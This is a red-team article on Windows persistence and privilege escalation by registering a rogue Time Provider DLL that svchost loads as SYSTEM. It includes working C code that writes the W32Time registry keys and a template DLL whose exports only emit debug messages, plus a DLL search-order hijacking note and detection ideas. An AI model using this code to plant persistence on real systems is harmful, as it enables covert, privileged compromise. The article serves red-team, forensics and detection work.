Persistence and Privilege Escalation on Windows via Time Provider

This article demonstrates a persistence and/or privilege escalation technique documented as “Time Providers” T1547.003 in the MITRE ATT&CK [1] framework. The technique has been used by Sandworm APT as reported by ESET in [2], [3]. It has also been discussed in [4] and [5]. The privilege escalation allows an attacker to escalate from High integrity (Administrator) to System integrity (NT AUTHORITY\SYSTEM).

This write-up aims to assist Red Teams reproduce this technique in Simulated Attack engagements and demonstrate impact. It is useful from a DFIR perspective as it gives a little more context to investigators. What is more, it can be used in Purple Team Excercises to evaluate the readiness of a Security Operation Center (SOC) in potential attacks.

Review of the technique

To perform this technique, the following are required:

The Time Provider DLL is loaded in the address of svchost.exe when the host boots or upon the w32time service is restarted.

Based on the template code for the time provider (look further below), the following functions are executed when the Time Provider is loaded in the address space of svchost.exe (the output is from the SysInternals tool DebugView):

debugview

Time Provider Registration Source Code

The following code provides a template to register a time provider.

LSTATUS RegisterTimeProvider(WCHAR* lpData)
{
	/*
	WCHAR DllName[] = L"";
	LSTATUS res = RegisterTimeProvider(DllName);
	if (res != ERROR_SUCCESS)
	{
		::wprintf(L"[-] RegisterTimeProvider has failed\n");
	}
	*/

	// lpData: DLL name
	LSTATUS status = -1;
	
	WCHAR lpSubKey[] = L"SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\TestTest";
	HKEY phkResult = 0;
	DWORD dwDisposition = 0;
	status = ::RegCreateKeyExW(
		HKEY_LOCAL_MACHINE, 
		lpSubKey, 
		0, 
		NULL, 
		REG_OPTION_NON_VOLATILE, 
		KEY_CREATE_SUB_KEY, 
		NULL, 
		&phkResult, 
		&dwDisposition
	);
	if (status)
	{
		::wprintf(L"[-] RegCreateKeyExW has failed\n");
		::RegCloseKey(phkResult);
		return status;
	}

	WCHAR lpValueName[] = L"Driver";
	status = ::RegSetKeyValueW(
		HKEY_LOCAL_MACHINE, 
		lpSubKey, 
		lpValueName, 
		REG_SZ, 
		lpData, 
		wcslen(lpData) * 2 + 1
	);
	if (status)
	{
		::wprintf(L"[-] RegSetKeyValueW Driver has failed\n");
		::RegCloseKey(phkResult);
		return status;
	}

	WCHAR lpValueName1[] = L"Enabled";
	DWORD lpData2 = 1;
	status = ::RegSetKeyValueW(
		HKEY_LOCAL_MACHINE,
		lpSubKey,
		lpValueName1,
		REG_DWORD,
		&lpData2,
		sizeof(DWORD)
	);
	if (status)
	{
		::wprintf(L"[-] RegSetKeyValueW Enabled has failed\n");
		::RegCloseKey(phkResult);
		return status;
	}

	WCHAR lpValueName2[] = L"InputProvider";
	status = ::RegSetKeyValueW(
		HKEY_LOCAL_MACHINE,
		lpSubKey,
		lpValueName2,
		REG_DWORD,
		&lpData2,
		sizeof(DWORD)
	);
	if (status)
	{
		::wprintf(L"[-] RegSetKeyValueW InputProvider has failedn");
		::RegCloseKey(phkResult);
		return status;
	}

	status = ::RegCloseKey(phkResult);
	if (status)
	{
		::wprintf(L"[-] RegCloseKey has failed\n");
		return status;
	}

	return ERROR_SUCCESS;
}

Time Provider Template DLL

Template code to create a Time Provider DLL is provided below. For debugging purposes, the function OutputDebugStringA is placed in key functions to act as a canary and show when each function is called.

#include <windows.h>
#include <stdio.h>

#define DllExport __declspec(dllexport)

typedef enum TimeSysInfo {
	TSI_LastSyncTime,
	TSI_ClockTickSize,
	TSI_ClockPrecision,
	TSI_CurrentTime,
	TSI_PhaseOffset,
	TSI_TickCount,
	TSI_LeapFlags,
	TSI_Stratum,
	TSI_ReferenceIdentifier,
	TSI_PollInterval,
	TSI_RootDelay,
	TSI_RootDispersion,
	TSI_TSFlags,
	TSI_SeriviceRole,
	TSI_CurrentUtcOffset,
} TimeSysInfo;

typedef HRESULT(__stdcall GetTimeSysInfoFunc)(
		IN TimeSysInfo eInfo,
		OUT void* pvInfo
);

typedef HRESULT(__stdcall LogTimeProvEventFunc)(
		IN WORD wType,
		IN WCHAR* wszProvName,
		IN WCHAR* wszMessage
);

typedef HRESULT(__stdcall AlertSamplesAvailFunc)(void);

typedef enum TimeProvState {
	TPS_Running,
	TPS_Error,
} TimeProvState;

typedef void(__stdcall SetProviderStatusInfoFreeFunc)(IN struct SetProviderStatusInfo* pspsi);

typedef struct SetProviderStatusInfo {
	TimeProvState tpsCurrentState; 
	DWORD dwStratum;
	LPWSTR wszProvName;
	HANDLE hWaitEvent;
	SetProviderStatusInfoFreeFunc* pfnFree;
	HRESULT* pHr;
	DWORD* pdwSysStratum;
} SetProviderStatusInfo;

typedef HRESULT(__stdcall SetProviderStatusFunc)(IN SetProviderStatusInfo* pspsi);

typedef struct TimeProvSysCallbacks {
	DWORD dwSize;
	GetTimeSysInfoFunc* pfnGetTimeSysInfo;
	LogTimeProvEventFunc* pfnLogTimeProvEvent;
	AlertSamplesAvailFunc* pfnAlertSamplesAvail;
	SetProviderStatusFunc* pfnSetProviderStatus;
} TimeProvSysCallbacks;

typedef void* TimeProvHandle;

extern "C" DllExport HRESULT TimeProvOpen(
						PWSTR wszName,
						TimeProvSysCallbacks * pSysCallbacks,
						TimeProvHandle * phTimeProv
)
{
	// debug
	CHAR msgbuf[50];
	sprintf_s(msgbuf, 50, "[+] TimeProvOpen was called");
	::OutputDebugStringA(msgbuf);

	return S_OK;
}

extern "C" DllExport HRESULT TimeProvClose(
						PWSTR wszName,
						TimeProvSysCallbacks* pSysCallbacks,
						TimeProvHandle* phTimeProv
)
{
	// debug
	CHAR msgbuf[50];
	sprintf_s(msgbuf, 50, "[+] TimeProvClose was called");
	::OutputDebugStringA(msgbuf);

	return S_OK;
}

typedef enum TimeProvCmd {
	TPC_TimeJumped,
	TPC_UpdateConfig,
	TPC_PollIntervalChanged,
	TPC_GetSamples,
	TPC_NetTopoChange,
	TPC_Query,
	TPC_Shutdown,
	TPC_GetMetaDataSamples
} TimeProvCmd;

typedef void* TimeProvArgs;

extern "C" DllExport HRESULT TimeProvCommand(
						TimeProvHandle hTimeProv,
						TimeProvCmd eCmd,
						TimeProvArgs pvArgs
)
{
	// debug
	CHAR msgbuf[50];
	sprintf_s(msgbuf, 50, "[+] TimeProvCommand was called");
	::OutputDebugStringA(msgbuf);

	return S_OK;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		CHAR msgbuf[50];
		sprintf_s(msgbuf, 50, "[+] DLL_PROCESS_ATTACH");
		::OutputDebugStringA(msgbuf);
		break;
	case DLL_THREAD_ATTACH:
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return TRUE;
}

Svchost potential DLL hijacking condition

If the DLL that implements the time provider is not located in C:\Windows\System32, the Windows Loader will apply the DLL search order [7] to locate and load the DLL in the address space of svchost.

The following screenshot from ProcMon shows what happens under the hood when the time provider DLL does not exist in the system. The Windows Loader searches the paths consecutively:

search

In case a time provider has been placed in a path lower in the search hierarchy, this give the opportunity to drop a rogue time provider at a path higher in the hierarchy and eventually get the latter load into svchost.

Detection Opportunities

Events to monitor that could potentially indicate suspicious activity are:

An example of detection capabilities, is what Elastic offers regarding Time Providers mentioned in [8].

Additionally, for those familiar with VirusTotal Enterprise platform, the following search modifiers [9] will likely return malware Time Providers:

type:pedll exports:”TimeProvOpen” positives:30+

The above query looks for the exported function TimeProvOpen in DLL files that have 30 or more detections by antivirus engines. As mentioned earlier, there are three functions that should be exported to successfully implement this technique and therefore additional function names can be used in the search.

Tools

References

[1] https://attack.mitre.org/techniques/T1547/003/

[2] https://vblocalhost.com/conference/presentations/sandworm-reading-the-indictment-between-the-lines/

[3] https://youtu.be/IN4Wn9LcO9M

[4] https://pentestlab.blog/2019/10/22/persistence-time-providers/

[5] https://www.ired.team/offensive-security/persistence/t1209-hijacking-time-providers

[6] https://docs.microsoft.com/en-gb/windows/win32/sysinfo/creating-a-time-provider

[7] https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order

[8] https://www.elastic.co/guide/en/security/current/potential-persistence-via-time-provider-modification.html

[9] https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers

tags: #persistence